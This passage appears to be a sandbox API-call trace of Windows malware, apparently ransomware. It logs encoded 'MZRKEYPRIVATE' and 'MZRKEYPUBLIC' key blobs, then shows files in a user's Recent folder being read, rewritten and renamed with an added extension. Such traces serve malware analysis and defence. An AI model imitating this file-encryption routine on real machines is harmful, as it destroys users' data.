6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.409] GetCurrentThreadId () returned 0xa30 [0083.409] GetCurrentThreadId () returned 0xa30 [0083.410] GetCurrentThreadId () returned 0xa30 [0083.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.411] GetCurrentThreadId () returned 0xa30 [0083.411] GetCurrentThreadId () returned 0xa30 [0083.411] GetCurrentThreadId () returned 0xa30 [0083.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.411] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.411] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.411] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9c2 [0083.411] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.411] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x9c2, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x9c2, lpOverlapped=0x0) returned 1 [0083.412] CloseHandle (hObject=0x124) returned 1 [0083.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.414] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x9c2, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x9c2, lpOverlapped=0x0) returned 1 [0083.416] CloseHandle (hObject=0x124) returned 1 [0083.431] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RV4UFRM8.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rv4ufrm8.flv.lnk.zv7un")) returned 1 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] GetCurrentThreadId () returned 0xa30 [0083.434] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ccbf20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ccbf20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ccbf20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x426, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rz5wZG.lnk", cAlternateFileName="")) returned 1 [0083.434] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.434] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.434] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ccbf20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1ccbf20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1ccbf20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x426)) returned 1 [0083.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rz5wzg.lnk")) returned 0x20 [0083.435] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rz5wZG.lnk", dwFileAttributes=0x80) returned 1 [0083.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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